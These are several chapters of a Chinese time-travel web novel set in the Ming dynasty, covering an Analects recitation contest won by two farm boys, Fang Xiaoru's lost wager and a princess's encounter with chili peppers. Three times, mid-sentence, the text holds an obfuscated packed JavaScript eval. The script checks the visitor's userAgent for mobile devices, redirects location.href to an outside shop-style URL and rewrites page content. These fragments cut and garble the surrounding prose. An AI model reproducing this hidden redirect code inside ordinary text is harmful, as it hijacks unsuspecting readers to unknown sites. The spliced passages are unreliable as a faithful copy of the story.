方孝孺一看这两少年,穿的是补丁布衣,虽说没有脏兮兮,但是也看不出是什么读书人的样子。 那是笃信自己已经赢了。 “朱大人,这就是你教的学生?” 他倒也是没有嘲笑的表情,而是一副认真的样子…… 就是这个样子……显得他更加欠揍。 朱棣那是直接就翻起了白眼。 只见他一下就越过了朱安宁,拍了一下胡修道和柳文的后背。 两人像被触发了什么开关似地,缩了缩脖子,然后讪笑道:“燕爷……” “这是方学士,翰林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378755|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院的,今天就由他来考考你们这段时间学的东西,好好回答,知道了么?” 朱棣也没有废话,直接说明了情况,之前这事也就是和胡修道和柳文提了一嘴而已,并没有说得太清楚。 两人也是此刻才知道,自己面对的是谁。 “翰林院?什么地方?”胡修道摸了摸后脑勺,那是一脸懵逼。 柳文确实讥笑着看了胡修道一眼:“傻了吧唧的,翰林院都不知道,就是城里的大院子!老贵了,买得起的肯定都是大地主!” “嚯,真的假的?” “那必须是真的啊。” 两人在那说着话,也没有很小声。 这话被院内的人听得一清二楚。 不说方孝孺宋濂宋慎三人一脸黑。 连朱安宁朱棣都有点挂不住。 倒是朱怀静,又是笑了出声。 “娘,这朱大人教的学生好傻啊。”她悄声对马皇后说道。 而马皇后也是被胡修道柳文逗得有些忍俊不禁,只是碍于场面,那是直接绷紧了不敢笑。 至于赵集赵大人,那是早就在一边笑了起来。 最后还是朱棣这莽夫暴躁一些:“别废话,快见过方学士……” 他推了推胡修道和柳文 。 然后又转头对方孝孺说道:“方学士,可以提问了。” 他也不怕方孝孺问得太难,毕竟在场这么多人。 对于胡修道和柳文,朱棣是相当有信心的,毕竟他是亲自检验过两人水平的,朱安宁给的资料实在是太顶了,速成两个聪明孩子,那是再简单不过。 前提是不要考他们写字……就行…… 方孝孺虽然令人讨厌,但是在礼数这一块,他还是有保证的。 他对朱棣拱手示意,然后对两个孩子都行了个礼。 也不管这两孩子吊儿郎当的样子。 也得亏朱安宁挑的是这两人,这两人平时就是孩子王,最大的优点不是聪明,而是不怯场。 只见方孝孺清了清喉咙,在众人的注视下。 提了第一个问题。 “二位,若是通识《学而篇》的话,先背出来吧。” 这个要求,就是见仁见智了。 宋濂一听方孝孺的问题,那也是展开了眉头。 这个问题好啊。 背诵不涉及太多东西,一会有得圆。 大概率这两个少年是背不完的,学而篇虽然是论语中的入门篇章,但是宋濂怎么也不信,农家的两个少年能信手拈来。 结果,两个少年还没开始背。 朱棣就咧嘴笑了出声。 他熟练地折了一根树枝,拿在了手中。 朱安宁一看朱棣的树枝,也是了然于心,于是笑得比朱棣更加邪恶。 胡修道和柳文,回头看了一眼狞笑着的朱安宁和朱棣,那是抖了抖。 肌肉记忆般开始背诵。 “子曰:“学而时习之,不亦说乎?有朋自远方来,不亦乐乎?人不知而不愠,不亦君子乎?……” 两人是异口同声地开始。 开头第一句,很是简单,众人都不觉得有什么。 而且两人是背的多少有些磕绊。 往往需要一人提醒另外一人。 “禽子问于子贡曰……” “禽子你个头……子禽!” “哦哦哦……夫子至于是邦也,必闻其政,求之与,抑与之与?”子贡曰:“夫子温、良、恭、俭、让以得之。夫子之求之也,其诸异乎人之求之与” 眼看着就要背不下去,两人却又是能如神助般猛然想起,然后继续背下去。 这让宋濂宋慎方孝孺三人,都是忍不住长大了嘴巴。 两少年明显就是新学的《学而篇》! 但是,却要背完了啊! …… “子曰:“不患人之不己知,患不知人也。” 最终,两人是背诵完毕。 院内鸦雀无声。 连马皇后和赵集,都赞叹着点了点头。 不管磕绊不磕绊,起码是背诵完成了。 而方孝孺,是久久未能回过神来。 这什么情况?难道这小小永乐庄,真的有天才? 他惊讶地看向了朱安宁,想从对方表情中找出答案。 其实答案很简单。 哪来那么多天才。 胡修道,和柳文,只不过是朱安宁究极填鸭式教育的,两个悲惨受害者而已…… PS:今天实在忙不过来,又短小了一次,明天恢复 第一百五十二章 孩子不懂事,不会说话 能顺利背完,胡修道和柳文自然是兴奋。 但是朱安宁和朱棣多少还是有些不满意的,毕竟没有做到顺畅背完,居然磕磕绊绊的。 看来还是打得少了。 所以当胡修道和柳文咧嘴回头看朱安宁和朱棣的时候,他们看到的是,两人狞笑着,甩了甩树枝…… 至于方孝孺,他还在惊讶之中,说是非常震撼也没有,毕竟就是背出来了而已。 站在他身后的宋濂,则是微不可查地点了点头。 情感上他肯定是站在方孝孺这一边的,但是作为明朝礼法的奠基人,宋濂依旧是对两少年能把论语学而篇给背下来表示赞许。 他悄然向身边的宋慎问道。 “这两少年,之前真的是没学过论语?” 宋慎嘴巴还在张着,他和方孝孺一样惊讶。 “爷爷,这两少年,前些日子,还在学堂里识字啊……” 他说得婉转。 其实意思很简单,就是这胡修道和柳文,是绝不可能说正儿八经学过论语的。 宋濂原来只是点头,而听完宋慎的话之后,也是微惊。 他抬头看向了正在狞笑着挥舞手中树枝的朱安宁。 怎么也没办法和什么名师大儒绑定在一起…… 所以,这朱赞读,是怎么调教好这两个农家少年的呢。 此时的宋濂,多少有了点好奇的感觉。 一边的马皇后,她也是颔首表示认可。 虽然她不太了解朱安宁和方孝孺的恩怨情仇,但是这两农家少年,能把论语学而篇背出来,已经是相当了不起。 要知道,古代读书,可是特权。 一般家庭,是根本没有机会的,这会损失掉一个重要的劳动力,且最后读书的结果,往往是不太好的。 每年能够金榜题名的人能有多少嘛。 更遑论现在朱元璋,已经把恩科给停了。 这更显得胡修道和柳文的可贵。 之后朱怀静在一边哼了声。 “有什么了不起嘛……背成这个样子,我也能背啊!” 她轻哼着,攒起眉头的样子很是可爱。 赵集在一边听了,也是微微弯了腰,笑着回了朱怀静。 “公主,这两少年,恐怕是连字都认不全,但是却能把学而篇给背完,已经是相当了不起了。” 赵集是知道永乐庄的具体情况的。 流民的安置,是由户部主导的,但是工部也参与了其中。 比如安置灾民草房的建设,和定期口粮的发放,他们工部就需要协调其中。 所以他也是知道这永乐庄,其实就是灾民安置点。 能出这两个能背诵论语的少年,已经相当厉害了啊。 只是赵集的解释,并没能完全说服少女。 朱怀静依旧是嘟囔着想反驳,只是最后被马皇后碰了碰肩膀,她最终还是没有再言语。 过了这么些时间,方孝孺也是缓了过来,他收起了惊讶的神情。 点了点头,也算是认可了两人的背诵。 “准确无误,那,我是否可以继续提问?”他拱了拱手,既是向着胡修道和柳文,也是向着朱安宁。 朱安宁撇了撇嘴,突然觉得这赌局真是无聊。 本来就是气头上答应下来的。 现在来看,赢了的话,也就是赚了个看着就不是什么优良劳动力的方孝孺而已…… 感觉不是很值当啊。 于是,兴趣索然的朱安宁,是摆了摆手,示意方孝孺继续。 这般做派,方孝孺自然也是看在眼里,那是多少有点恼火。 只是现在不仅是恩师在场,马皇后、工部侍郎赵大人和小公主都在这里看着,他也不敢表现得太过出格。 便只得压着怒火,开始想问题。 “吾日三省吾身:为人谋而不忠乎?与朋友交而不信乎?传不习乎?……作何解释。” 方孝孺毕竟还是性格板正。 即便是很看不惯朱安宁的做派,他依旧是没有选择什么太刁难的问题。 而是选择了学而篇中最重要的那个篇章,提出了问题。 这问题,胡修道和柳文,都是听进了耳中。 两人对视一眼。 胡修道率先开口回道。 “不就是给别人办事儿,又没有尽心尽力,没偷奸耍滑呗?” “第二句是和朋友相处,有没有说话算数,骗朋友咯?” “第三句我知道的,是朱爷说的,他说,学到的东西,要想一想,是对还是错,教给别人的时候,也要想清楚,有没有瞎扯犊子乱鸡掰教……”胡修道咧嘴一笑,说出的话语,却是让朱安宁眼前一黑。 这话……是没错。 但是,也太粗了吧。 于是,所有人都不约而同地看向了朱安宁。 包括朱棣。 这让朱安宁是恼火不已。 要不要一个字不差地背下来?!!! 而且你他娘的个小燕,平时教这两鸟人的时候,粗话也骂的不少,结果现在却好像要全赖在自己身上似的,这像话么?!而且这胡修道也是,什么叫朱爷说的!能不能好好说话 ! 现场,只有朱怀静是忍不住,笑了出声。 眸子里,不仅是愉快,更是好奇。 她对朱安宁,是真的好奇了起来。 寻常先生,能这么教? 所幸朱安宁是真的脸皮厚,在最初的不淡定之后,他很快恢复了神色,进而是直接开始鼓掌。 “嗯,说得没错!” 他是直接开始夸赞胡修道和柳文说得没错。 方孝孺自然也是知道两人的回答是正确的……只是多少有点糙而已…… 他看了眼胡修道柳文,又看了眼朱安宁,有些无奈地点了点头。 算是认可了对方的答案。 但是他也知道,这问询,不应该就此结束,他还有机会。 便强撑着,继续问了下去。 “半部《论语》治天下,你们说说,如何?” 这个问题。 就相当有意思了。 若是在科举的时候,那是绝无反对的可能的。 如果你说不,那基本就是说儒家不行。 实际上这是一个相当扯淡的问题。 即便在历史上,赵普有没有说过这句话,也是两说。 所以,这可以看做是一道陷阱题。 就是看胡修道和柳文能不能圆回来。 按理来说,这已经不属于,面对学童的题目了。 视情况而定,这都可以当做科举的一个小课题了。 所以在场的人,都是目光凝重了起来。 除了朱安宁,柳文和胡修道。 三人依旧是吊儿郎当的样子…… 因为这个问题,辅导书上是出现过的。 当时给胡修道和柳文讲课的朱安宁,也是锐评过的。 “啊?这个朱爷讲过的,这说话纯粹就是有病……”胡修道一开口,又是让朱安宁眼前一黑。 能不能润色一下,婉转一点。 朱安宁真是恨得牙痒痒,巴不得上去抽他们一顿。 “嗯,确实,朱爷讲过。”柳文也是点了点头。 两人真就像说相声一样开始唠了起来。 “半部论语?就算给全部论语,春秋战国,秦,汉,三国,晋魏南北,宋、元,哪个还在的?”胡修道撇了撇嘴。 历史这方面的东西,朱安宁闲得蛋疼的时候,也是给他们讲过些故事的,这两少年比起乡学的那些学童,那可是要强的多的。 “就是嘛。”柳文也是点了点头。 这个说法,其实并不新奇。 因为这就是实际的情况。 但是实际情况不代表你能随便说出来……这些东西,一旦说出来,就会尴尬。 特别是,柳文还开始了补刀:“孔圣说的是有道理的,程朱夫子也是没问题的,但是,后续学他们的人,是不是真的就是心如明镜呢?怕不是一堆人学了,然后实际心里却想的,是另外的东西吧。” 这段话,其实是朱安宁的原话,被柳文学去了而已。 毕竟柳文在怎么样,也就是个农家孩子,拽成语这种东西,还是难度略高。 但是模仿就相对简单很多了。 这句话一抛出来。 那是直接就把众人给干沉默了。 因为太有道理了,所以他们现在是没办法讲道理了。 连方孝孺这种杠精,都直接沉默了下来。 他又不是没有看到过官僚做派。 这恰恰坐实了柳文和胡修道的话语。 其实儒学,并无问题,论语治天下,也无问题,而是人,出了问题。 所以,胡修道和柳文好像回答了问题,又好像没有回答问题。 却是直接让整个院子,都静了下来。 就连宋濂,都看出来了。 这两小孩,一定是熟读论语的。 不然不可能说出这样的话语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一般的孩童,哪能学那么快。 这个篇章学完,一般的学生,就已经开始要学着做文章了啊。 宋濂是探了一口气。 他已经准备介入了。 因为现在已经够丢人了。 他不想在赵集和马皇后面前,再继续这样下去。 而令他没想到的是,朱安宁好像也不是很慌。 这家伙,似乎还在笑。 难道…… 宋濂忽然想到了一些可能性。 连忙把目光转向了两个孩童。 只见柳文和胡修道,在最初的错愕之后,也是开始念叨方孝孺的问题,接着,居然也是露出了笑容。 “娘,他们笑了啊……”在旁边吃瓜的朱怀静,适时地补充了现场解说。 只见,胡修道在酝酿了片刻后,开口说道。 “不要像方学士一样自我,不要像方学士一样武断,不要像方学士一样固执,不要像方学士一样过于强调自己……” 这话,说得相当刺耳。 如同巴掌,狠狠地刮着方孝孺。 柳文听见胡修道的回答,却也是皱了皱眉。 认真地说道。 “朱爷说了,方学士只是例子,万一对方问了这个问题,回答的时候可以不用说的!” “噢噢,对哦,俺忘了啊!” 胡修道,摸了摸自己的脑袋,笑得人畜无害。 而某人,已经快要,吐血。 就连宋濂,都绷不住,脸是直接黑了下来。 不远处的朱安宁,自认也是觉得这话有点过。 只得咳了几声。 喝道。 “谁教你们的?啊?就会胡说八道!!!啊?欠揍是吧!!!”他对两人喝完,也是连忙对着宋濂拱了拱手:“宋太史,孩子不懂事,乱说话乱说话,不要见怪啊……” “……” 而等待朱安宁的,自然是只有沉默。 PS:我又6K失败了……很惭愧……吃个鸡腿忏悔下…… 第一百五十三章 辣椒,是辣的 这院子里的安静,震耳欲聋。 方孝孺的脸有些红。 宋濂则要好上许多,毕竟还是当过大官的,腚力还是有的。 只见他轻咳了声。 “朱庄主的教学方式……真是令人耳目一新啊。” 这新一字,咬的得是又重又有情绪。 “诶,不值一提不值一提……” 结果,朱安宁却有些贱地挥了挥手。 他倒不是想气宋濂,毕竟宋老先生都七老八十了…… 他是在讥讽方孝孺而已。 同时也是感叹自己幸好随手教了后面的内容,不然还真被这小方问倒了啊。 虽然朱安宁和方孝孺都没有说这问话停止。 但是大家都知道,是该结束了。 当方孝孺问出子罕篇的时候,就已经很不体面了。 如果再问下去,那就真的是脸都不要了。 只见方孝孺憋在那里,走也不是,不走,他也不想再问问题了。 两个少年的表现实在是出乎他的意料。 而正在此时。 有人直接跨门而入。 几人回头一看,正是学堂那里授完课回来的刘廌。 只见他喘着气,一脸懵地看向了院内的众人。 他知道今日是履约的日子,但是怎么会这么多人! 为什么马皇后会在这里!为什么宋濂宋老先生也在这里…… 这是他始料未及的。 这种场合,他也只能微微行礼,然后快速走到了朱安宁的身边。 “先生,如何了。” “咳咳……胡修道和柳文,说得太过了……” “太过?!”刘廌脸色一变:“是他们又在胡说八道?!先生……是我没教好,是我的错……” “咳咳,什么没教好,他们答得老好了,就是差点把人气死……喏,你看方孝孺,矗在那里都快要挺尸了……” “啊……” 两人的嘀咕,方孝孺自然是没有听见。 但是众人的目光,他是感受到的了。 他何时受过这等辱。 只是对方答得也还行,特别还只是学了论语没多久的少年。 此时的他只想找个台阶下。 刘廌的出现,给了他希望。 无论如何,他也不想说这两人是朱安宁教得好…… “廌兄,不仅学识过人,教授,也是一流,希直佩服。” 他连忙对刘廌说完话,然后就快步走回了宋濂的身边。 脸虽然还是铁青的,身子也是颤抖的,但是好歹是不用矗在那里挺尸。 宋濂看着自己的弟子,也是叹了口气。 而刘廌却也是不敢把功劳揽到自己身上,他慌忙摆手。 “注解是朱先生给我的,我只是帮忙督促了一下他们而已。” 他也知道方孝孺只是借自己下台而已。 但是功劳这东西,必须要较真,刘廌也不敢僭越,他指了指胡修道和柳文的桌面说道。 “注解?” 这时的马皇后也是注意到了桌面的笔记。 那是朱安宁朱棣和刘廌在讲课的时候,用的东西。 于是连宋濂都好奇地走了过来。 两人一人拿起了一份,细细看了起来。 院子里又安静了下来。 过了不知道多久。 宋濂眼色复杂地看了眼朱安宁,又看了看身后的弟子和孙子。 开口唤了声。 “你们过来看看吧,希直,你输得不冤。” 宋慎一听自己也能过去,那是立马就挪了步子,他害怕方孝孺会犟在那里,更是直接拉着他,走到了桌前。 两人也终于是看清了那些明显是带着句读的书页。 这说是注解,其实就是朱安宁照抄下来的教科书辅导书而已…… 但是,已经足以让众人沉默。 又过了不知道多久,宋濂背着手,郑重地向朱安宁开口问道。 “敢问朱庄主,师从何人。” 宋濂确实是好奇了,这等注解,他从未见过。 它抛却了一般注解的晦涩,通篇都是俗话,但是却正是如此,才会通俗易懂。 有一种大道至简的美。 所以宋濂是很赞叹的。 师从何人? 朱安宁听了这问题自然是有点哭笑不得。 总不能说自己高中语文老师的名字吧。 想了想,他最后还是闷声回道:“薛金星……王后雄……” “薛金星……王后雄……”宋濂皱眉砸吧了一下,然后沉默了良久:“老夫未曾听过,但是能有此注解,教导出朱庄主这般人才,定然不是普通学者……隐世大儒啊……慎儿,希直,今天开眼了吧,人外有人,天外有天啊。” 宋濂的话语很轻。 落在方孝孺心中,却是无比沉重。 他也在看那些注解。 他终于知道了朱安宁为何如此笃定自己能赢。 原来……他有如此宝物。 不对……宝物的话,他怎会随手放在桌面呢? 会不会是,他还习得了许多注解。 方孝孺是犟的,但 他还是有学识的,这等注解摆在他面前,他是已经服了。 所以虽然还是涨红着脸,但是还是对着朱安宁深深地行了个礼。 而朱安宁自然也是见好就收。 今儿这人多,方孝孺未来自然会有judy去收拾,就不麻烦自己了。 “咳,既然方学士认为我们教导的孩童已经足够通晓论语,那是否兑现一下诺言呢?” 他现在需要的是,劳动力。 只见朱安宁目光一亮,那是打量起了方孝孺来。 这家伙犟归犟,学识总是够强的吧。 把他丢去教书,那季畾季廌就可以解放点人手出来啦! 最重要的是,这方孝孺就是个免费劳动力!不花钱的东西,朱老爷他最喜欢了。 这话说出口,方孝孺自然也是只能苦笑。 愿赌服输。 他只能再次拱手。 “希直,全凭朱庄主差遣。” “诶,也不是差遣,就是我这乡学,缺老师,劳烦方学士来我这帮忙上上课就行。” “就这?” “就这啊……不然呢?” 下田你这细皮嫩肉的读书郎也不会啊。 还不如自己这边的季畾季廌伍燕伍周李景隆…… 这个安排其实不算离谱,只是方孝孺多少还是对朱安宁的永乐庄职业技术学院有点抵触…… 他咬牙看了眼桌面的书页。 最后开口道:“那朱庄主,我能否用这份注解去教?” “啊?你喜欢……” 朱安宁摆了摆手,他倒是无所谓。 注解的价值他是知道的。 但是这点注解不过是他辅导资料里的一丢丢内容而已。 这方孝孺喜欢送他就是了,只希望他能好好干活。 宋濂看了看自己的弟子,拿着书页,有些兴奋,又有点咬牙切齿的样子。 突然笑着松了口气。 这个结局,对他来说还行。 虽然输了,丢人。 但是输得不冤啊…… 而且看着永乐庄的架势,他总觉得,他的弟子方孝孺,可能会在这里,有所收获。 去乡学教孩童,也算是磨炼吧。 一边的马皇后笑着看完了全程,待到众人的说话声渐渐消失,她才开的口。 “宋师,你这回京,回得有点急啊。” 这话说得是有些莫名其妙。 但是宋濂却身子一震。 他是听懂了马皇后的意思的。 “宋师,还是应当找个时候,去见见我家老爷才是。” 这明显是在提点宋濂了。 只见宋濂连忙拜了拜,示意自己懂。 这是把朱安宁给看无语了。 伍洪一个三品退休官,这么大面子嗷? 宋濂什么地位,怎么也比伍洪高嘛…… 不过别人的家事,他了懒得管。 宋慎和方孝孺还在那研究书页。 刘廌却在此时拉了拉朱安宁。 “先生,方希直去教书?他行不行啊……” “哎,这教书有多难,他在菜,也不至于教不出个所以然吧……” “我是怕他被气死……” “呃,这倒是有点可能哦……但是没事的,我相信他能抗压的!” “抗压?” “哎,就是他顶得住啊。” “那我和季畾去干嘛……” “你们?乡学的课可以少上点了,接下来,我们有得忙咯……” 朱安宁嘿嘿笑了起来。 他目光越过了刘廌,也越过了朱棣。 看向的是那片实验田。 朱棣朱橚和刘廌也反应了过来。 就连赵集都反应了过来。 朱安宁笑了笑,说道。 “快熟了。” 赵集听见这话,那是眼睛,都亮了起来。 嘴里不停念叨的是亩产十石啊,十石啊,说不得要和太子确认下什么之类的话。 * 宋濂宋慎和方孝孺走得很快。 因为输了就是输了。 方孝孺还把自己给搭了进来。 但是让朱安宁有点不太自在的是。 这伍夫人,和她小女儿,可没有走。 她正拉着朱棣和朱橚说着家长里短。 不过就是些注意吃的,穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378757|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的什么之类的家长里短。 而朱怀静,却就在这时,悄悄脱离了马皇后的视线。 她直奔的是,那实验田。 这是把朱安宁给弄挠头了。 也不能阻止别人小姑娘是不。 但是他也不敢说不跟上去。 万一小姑娘下手没轻没重,把自己宝贵的农学素材给拔了! 那可不是什么本科论文没了那么简单。 那是大明的未来都要被拔走了啊。 所以他只能硬着头皮跟了上去。 穿越前他就是不太擅长应对女生…… 而穿越后……秦淮河是一次没去过,应对女生的经验,依旧是没有得到任何增长。 此时的他多少有点恼火,季廌刚才去田里找季畾和李景隆了,赵集又因为铁冶不能离开太长时间。 院里居然就真的剩下他可以跟上去。 “朱……朱先生。”自己姓朱,还得叫别人朱先生,朱怀静说得还是有些别扭:“这是什么啊?” 小姑娘正是好奇心旺盛的年纪。 一下就蹲到了田埂边,也不管自己的衣裙有没沾到泥土。 “这片是番薯,这片是土豆,这片是玉米番茄,对了,你面前的是辣椒。” 朱安宁指了指已经长得差不多的辣椒,自然不会傻到说蹲到人家姑娘家旁边,还是保持了点距离的。 “辣椒,辛辣之物?这些东西从未见过啊!”朱怀静也不愧是老朱的女儿,多少还是有点莽的,她指了指辣椒:“朱先生,这能拔一个下来么?” “呃……也不是不行。”朱安宁则是下意识地回了话。 反正都熟了,拔下来到时晒干做干辣椒就好。 结果他忽略了一个问题。 那就是朱怀静那知道辣椒是什么情况。 她用力一拔,是捏开了辣椒的外层,露出了里面的辣椒籽。 而朱怀静还作死地把辣椒放到了鼻尖那里,轻轻地嗅了嗅。 这好像是七星椒之类的吧,总之是小米辣级别的。 朱安宁想阻止已经来不及。 就一瞬间,朱怀静的脸就腾地红了起来。 然后,眼泪倏地流了下来。 她哪闻过如此辛辣的东西。 作为公主,她是很想克制的,但是这是生理本能的反应,根本克制不了。 只能可怜巴巴地不停眨着眼睛,最后更是打了个打喷嚏。 把远处的朱棣、朱橚和马皇后的目光都给引了过去。 朱棣是行动派,他直接就跑了过来,看见自己四哥动了的朱橚,也是连忙跟上。 马皇后顾及形象,自然是走到了最后。 众人过到来,看见的自然是可怜兮兮的幺妹。 “不关我事啊,她拔了个辣椒!” 朱安宁自然是连忙解释……莫名有种冤屈的感觉。 而朱棣,却是脸一黑。 他看向的不是朱安宁,而是朱怀静。 “怀静,别动!”他大喝了一声。 把朱怀静都吓得忘了抽鼻子。 朱橚也是脸色变了变。 “小妹!别动!” 他也跟了句话。 两人是心疼地走到了朱怀静的身边,一把拉了她起来。 朱棣好歹还看了自己小妹一眼,朱橚则是看都没看…… 两人连忙是蹲了下去。 “哇,幸好没有压到我的番薯。” “对对,这可是长得最快的苗啊……” 两人是蹲在了朱怀静刚才蹲的位置边上,检查着一株番薯苗。 “呃……”朱安宁哪能知道这两个哥哥这么不靠谱,还以为他们是来看妹妹的…… 朱棣确定了番薯没事后,却也是立马站了起来,直接从朱怀静手里把辣椒接了过去。 朱怀静还未缓过来,样子多少还是可怜,她连忙唤了声:“四哥……” 却未曾想到,朱棣只回了个哦字。 然后是满脸心疼的样子。 “哎呀朱哥,朱哥啊,这辣椒破了啊破了啊!” 朱橚一听,也是立马凑了过去。 两人一副脸黑的样子。 那是把朱怀静,气得有点想打人…… 朱安宁也是在一边,看得目瞪口呆。 什么直男。 这两人,对自己妹妹都这么直……能讨到老婆么…… 最后,还是马皇后宽慰了一下气得发抖,又辣得可怜兮兮的朱怀静。 朱安宁摇了摇头,径直回到了车里。 拿出的是冻果汁。 这东西能缓解辣感。 反正再不喝,到时也要过期。 看着伍怀静这么可怜的样子……给她喝点呗…… PS:熟悉的4k,熟悉的配方,我尽力了嗷~~~ 第一百五十四章 这玉如意能卖多少钱嘛 朱怀静现在自不必说,那是又委屈又恼火。 马皇后看见自己女儿狼狈的样子也是心疼地啧了声。 更是盯了一眼自己两个儿子…… 朱棣也在短暂地智商下线后,大脑重新回到了高地。 “小妹,你没事吧。” 这声问候来得太迟。 朱怀静哪还会理他们。 而此时,朱安宁却已经端着果汁来到了朱怀静面前,细声说道。 “喝吧,这个解辣……对了,伍夫人,您也喝一点吧,这是橘子榨汁,相当解渴。” 朱安宁把饮料递到了两人面前。 朱怀静自然是想接的。 但是马皇后没有动手,她再没大没小也不敢乱来。 只能眼巴巴地看着那橘子汁。 马皇后倒也不是怕朱安宁给的吃喝有什么问题。 而是,她对橘子榨汁这个说法,有点好奇。 只见她看了看那两杯饮料,接了过去才开口问道。 “朱先生,这橘子……不就是直接当吃食的么,未料到还有这种吃法。” 看见自己母亲接过果汁,朱怀静自然也是捧了另外一杯。 也是一样好奇地看向了朱安宁。 “呵呵,西域那边的新鲜吃法,方便,据说还能美容养颜哦。” “哦?还有此功效?” 说到底,马皇后也是个女人,虽然和朱元璋属于是帝皇中的超级模范夫妻,但是,还是被朱安宁的说辞给吸引住了。 听罢,她也没再犹豫,而是一饮而下,朱怀静也紧随其后。 两人的眼睛那是立马就亮了起来。 “如此甜美!” 朱怀静更是哇了出声。 两人这般样子,自然也是勾起了朱棣和朱橚的兴趣。 “朱哥,我们也想喝。” 朱棣舔着脸,绕到了朱安宁的身边。 整得朱安宁一阵腻歪。 “一边去一边去……你不是有什么龙阳之好吧……” 这话是说得朱棣多少有些委屈了。 不过朱安宁的下一句话又让他开心了起来。 “我倒了一壶在那树下,你们自己斟……” 朱棣和朱橚听罢,本来还有点担心自己惹了朱怀静,让她不开心了,但是现在有好东西喝,两人又是没心没肺地跑开…… 真就是让朱安宁的白眼翻不停。 “朱先生,这等珍物,应该相当宝贵吧。” 马皇后却也在喝了两口之后,停了下来,她忍不住向朱安宁问道。 “诶?昂贵?还好吧……呵呵,伍夫人喜欢就行。” 朱安宁也不知道该怎么回答。 毕竟就是几块钱的果汁而已…… 但是要说昂贵的话,那也说得过去,毕竟都绝版了。 朱怀静的话,本来就是被辣了一下而已,现在还喝了饮料,那是长舒了一口气。 看向朱安宁的目光隐隐是带了点感谢。 再看下自己那两个憨货哥哥……好像在远处抢东西喝……人和人的差距怎么就那么大呢。 闹剧怎么也是告一段落。 马皇后也刚好趁这机会看到了她也一直很好奇的新作物。 “这便是老伍他讲过的新作物了吧。”马皇后的眼睛又是亮了起来。 虽然她不是主政的人,但是在历史上她也是赫赫有名的贤后。 对于这些作物的意义,她是有基本认识的。 “嗯,伍爷应当也和您说过的,这就是那些新作物,番薯土豆玉米一类。这段时间准备收获了。” “准备收获?” “对,等到收下来,把它们当种子,我再筹措点银子,把周围这一圈荒地都买下来,然后种上这些新作物!” 朱安宁也没有介意公布自己的计划,反正她两儿子都还在自己这里。 瞒也瞒不住。 “怎么?之前听老伍说你要献给陛下的啊。” “献给陛下,和我自己种第二茬,没冲突啊……” 这话他是说得理直气壮。 确实把朱怀静给惹好奇了。 “朱先生,这地……能产那么多东西么……又自己种又献给……献给陛下。” “这几块田,能产出的量,比你们想到的要多的多!”朱安宁笑着走到了刚才朱怀静差点坐倒的那苗边上,说道:“单这一株,下面埋着的新粮,少说也有一斤。” “这么多!” 朱怀静也是睁大了眼眸,扑闪着满是不可置信。 朱元璋的儿子女儿们,可不是些五谷不分的皇族,他们还是有基本分辨能力的。 所以朱怀静也是知道一斤代表了什么。 她看了看那小小一株矮苗,拍了拍自己的胸脯。 在心里安慰自己说幸好没有坐上去。 怪不得四哥五哥那么恼火…… 一旁的马皇后,则没有参与两人的话题。 她踱步看了看那些苗,然后又看了下更远处的那些田。 只觉得,朱安宁这耕田的水平很是不错啊。 马皇后这次来永乐庄,最主要就是说看一眼自己两个儿子过得如何,其二是把玉如 意送给朱安宁,现在两件事情都办的差不多了,还顺带看到了新作物,知道了朱安宁的打算,那也是时候该回去了啊。 是时候回去和重八说一说今天发生的事情,并且方孝孺那个虽然是小事,但是牵扯了永乐庄,她觉得还是有必要和自己丈夫说一说。 所以,马皇后转了个身。 也没管朱怀静还想问朱安宁一些事情。 就扯着他开始向树下走去。 朱安宁一看这阵势,自然也是知道这伍夫人应该是要回去的了。 果不其然,当马皇后走到了树下的时候,回身对朱安宁弯腰行了个礼。 “朱先生,今天真是叨扰了,时候也不早了,我和怀静是时候先回去了。” “诶,好,代我向伍爷、季爷、韩爷还有李叔他们问声好。” 朱安宁笑着说出了一串人名。 马皇后自然是一头雾水。 所幸朱棣还算醒目,他以微不可查的声音向自己母亲说道。 “诚意伯,韩国公,曹国公……” “……”马皇后只觉得,包括自己丈夫在内的几人,化名真是随意啊…… 不过礼数她还是没少。 再次对朱安宁行礼。 朱怀静亦是如此。 “好的,朱先生留步吧,老四老五送我们出去就行。” 马皇后也是阻止了朱安宁往外走的想法。 她提了提朱棣和朱橚。 两人自然是识趣地跟了上来。 当走出门外时,马皇后才开口对两人说道。 “之前你们父亲总是说这朱安宁老是有些稀奇古怪的东西,今儿我算是见到了,他的注解,很好,新粮,更是事关我大明未来,你们需好好应对才是。” 她这段话,是作为马皇后而言的。 “是。” 朱棣和朱橚,也是点头认同。 而后,马皇后看一眼不远处的铁冶,细声又说了句。 “你们也应当要好好休息,莫要学你们父亲和大哥……哎,多吃点,再晚些日子,早晚兴许也会有点凉的了,穿好衣物……” 这段话,是作为母亲,去说的。 * 朱安宁是不知道外面发生了什么的。 他只知道事情好顺利啊。 赢了方孝孺,多了个黑奴。 完了现在这些作物也都快熟了。 收下来,整备一下,就可以作为下一轮的种子种下去了。 